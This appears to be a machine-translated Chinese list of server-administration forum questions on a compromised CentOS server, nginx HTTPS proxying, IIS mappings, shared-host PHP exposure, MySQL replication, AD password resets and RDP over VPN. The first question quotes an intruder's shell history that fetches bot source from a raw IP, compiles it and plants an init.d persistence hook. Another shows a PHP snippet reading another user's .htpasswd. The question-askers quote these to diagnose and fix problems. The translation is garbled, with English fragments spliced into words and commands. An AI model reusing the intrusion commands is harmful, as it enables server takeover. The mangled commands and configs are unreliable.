服务器问题集锦,包括 Linux(Ubuntu, Centos,Debian等)和Windows Server服务器
今天我们使用Putty远程login到CentOS服务器,并在使用向上箭头浏览之前的命令的同时,偶然发现了以下内容: unset HISTFILE mkdir /usr/lib/tmp cd /usr/lib/tmp wget http://188.72.217.17/mzb.c -o /dev/null wget http://188.72.217.17/windef.h -o /dev/null gcc mzb.c -o /bin/bot -lpthread rm -rf mzb.c rm -rf windef.h wget http://188.72.217.17/botsupport.sh -o /dev/null chmod +x botsupport.sh mv botsupport.sh /etc/init.d/httpd2 cat /etc/init.d/network > /etc/init.d/network.bp echo \#\!/bin/sh > /etc/init.d/network echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network cat /etc/init.d/network.bp >> /etc/init.d/network cat […]
我一直在考虑版本化文件系统。 这是一个杀手级的function,我已经看过Wayback,ext3cow,zfs,保险丝解决scheme,或只是cvs / svn / git覆盖。 我认为ext3cow模型符合我的要求。 透明,高效,但是我可以不用额外的ls abc@timestampfunction。 只要我以某种方式获得自动化,我的文件的透明版本。 它可以是瞬间的,也可以基于10s,30s,1m,5m,15m等间隔的快照。只要能够有效地处理给定目录中的数千个文件的东西都是各种大小,最小的,但是一些超过100米到1GB。 ZFS是不是真正的select,因为我在Linux上(并且宁愿不使用它通过保险丝,因为我已经有一个我想版本的ext3设置,而不是新的东西)。 那里有什么解决scheme?
如何检查我的Ubuntu系统上安装了哪个版本的rubygems?
我有nginx被configuration为我的外部可见的networking服务器,通过HTTP与后端通话。 我想要实现的场景是: 客户端向nginx发送HTTP请求,nginx将通过HTTPSredirect到相同的URL nginx代理请求通过HTTP到后端 nginx通过HTTP接收来自后端的响应。 nginx通过HTTPS将其传递回客户端 我当前的configuration(后端configuration正确)是: 服务器{ 听80; server_name localhost; 位置〜。* { proxy_pass http://后端; proxy_redirect http://后端https:// $ host; proxy_set_header主机$主机; } } 我的问题是对客户端(步骤4)的响应是通过HTTP而不是HTTPS发送的。 有任何想法吗?
我有两个Windows 2008 R2服务器运行一个asp.net 4.0应用程序。 有问题的服务器实际上加载的asp.net页面就好了,但如果有任何Ajax调用,他们不工作。 我注意到在IIS中没有.net 4.0特定的处理程序映射,就像其他服务器一样。 它实际上缺less所有.net 4.0映射(.axd,.soap,.cshtm,.ashx甚至.aspx)。 我试过运行“aspnet_regiis -ir”,但没有帮助。 我应该重新安装.net 4.0框架? 手动添加所有这些缺less的映射? 还有什么事吗? 我不想做的是将一大堆处理程序添加到web.config中,在服务器上不需要它们,因此在破坏的服务器上不需要它们。
我和一所大学的系统pipe理部门一起工作,偶然发现了一些可能很常见的事情,但对我来说却是相当震惊的。 所有public_html目录和web区域都存储在afs上,并具有对web服务器的读取权限。 由于用户可以在其public_html中使用php脚本,这意味着他们可以从php(和主要web文件!)中访问彼此的文件。 这不仅使得.htaccess的密码保护function完全无用,而且还允许用户阅读包含mysql数据库密码和类似敏感信息的php源文件。 或者如果他们发现其他人拥有Web服务器具有写访问权限的目录(例如,用于个人日志或保存提交的表单数据),则他们可以将文件存储在这些帐户中。 一个简单的例子: <? header("Content-type: text/plain"); print file_get_contents("/afs/example.com/home/smith/public_html/.htpasswd"); ?> 这是常见的问题吗? 你通常如何解决它? 更新: 感谢您的input。 不幸的是,似乎没有简单的答案。 在这样一个大的共享环境下,用户可能不应该有这么多的select。 我能想到的最好的方法是在所有“public_html”目录的主要configuration中设置“open_basedir”,运行suphp并且只允许清洁php(没有cgi脚本,用反引号等运行外部命令)。 改变这样的政策虽然会破坏很多东西,但很可能会让用户抓住他们的干预并追逐我们……我将与我的同事们讨论,如果我们决定如何更改设置,请在此更新。
为了提高性能,我们有一些MySQL数据库服务器设置了基于行的复制。 软件写入主机,并从主机或从机读取。 一切都很好,大部分。 这是我的理解,MySQL将允许写入从属,即使它知道它是一个MySQL从属。 理想情况下,我想closures这个,所以即使有人写了一些错误的代码,得到一个读取连接,并执行UPDATE ,它会抛出一个错误,而不是把数据放在从属。 有没有办法在MySQL中做到这一点? 很显然,我们希望使我们的软件无法实现,但是就像我们服务器上的防火墙一样,我想尽可能防御。 谢谢!
在我的开发机器上运行Ubuntu 10.04.1 LTS。 在官方文档之后 ,我使用下面的命令一次性安装Apache,MySQL和PHP : sudo tasksel install lamp-server 现在,我正在testing我的PHP脚本,我想要启用“开发人员模式”,如果有,启用错误报告和日志logging。 我已经阅读了文件php.ini-production和php.ini-development ,显然有一些版本的PHP 5,但不是我已经安装的。 我所有的是/etc/php5/apache2/php.ini 。 此configuration不会回应错误或警告,这使我的脚本很难debugging。 我想我可以手动编辑configuration,但是如果可能的话,我宁愿只是放下replace。 所以我正在寻找的是在PHP的开发和生产环境之间切换的简单方法!
乔布朗正在打电话。 由于忘记密码,他被锁在Windows之外。 我们可以通过Active Directory用户和计算机重置他的密码,但ADUC非常烦人的clicky。 当然,也可以通过NET USER解锁Joe Brown的账号并将密码重置为“33Foo $ bars” 净用户jbrown 33Foo $酒吧/域/活动:是的 不幸的是,这个要求他select一个新密码的标志不是由这个命令设置的。 作为开明的pipe理员,我们不想随时知道任何用户的永久密码。 有没有人有一个有效的命令行方法来解锁/重置,需要更改密码,使用本地Windows工具(包括PowerShell或VBScript,如果有必要),但没有第三方二进制文件? 上下文:Windows Server 2008域。
我通过远程桌面连接到本地networking上的服务器。 然后,我需要在该远程桌面会话内build立到互联网的VPN连接。 但是,立即断开我的远程桌面会话。 这里发生了什么,有没有办法解决这个问题? 额外的信息: 本地计算机#1: 启动RDP会话到#2 Windows 7的 10.1.1.140/24 本地计算机#2: Windows Vista 10.1.1.132/24 启动VPN连接到公共IP VPN是PPTP 设置为自动获取IP和DNS “在远程networking上使用默认网关”未被选中 选中“启用LMHosts” select“通过TCP / IP启用Netbios” 有能力是多宿主(即有2 nic) 面向公众的ADSL路由器: VPN服务器 通过外部IP从#2接收连接 内部networking是192.168.0.0/24 我可以从PC上build立一个VPN连接而不会出现问题(不涉及RDP)。 Tombuild议在下面的注释中使用双网卡。 我有两个网卡在上面(#2),但我不知道如何正确地设置它们,或者如何分配VPN使用一个在另一个。 我尝试将额外的网卡设置在同一个专用networking(10.1.1.200/24)上,启动VPN,然后尝试将RDP连接到NIC的10.1.1.132或10.1.1.200,但没有任何运气。 有什么办法可以告诉VPN使用另一个NIC吗? 按要求 – 这里是我的路由表#2: VPN连接之前: IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 10.1.1.254 10.1.1.132 20 10.1.1.0 […]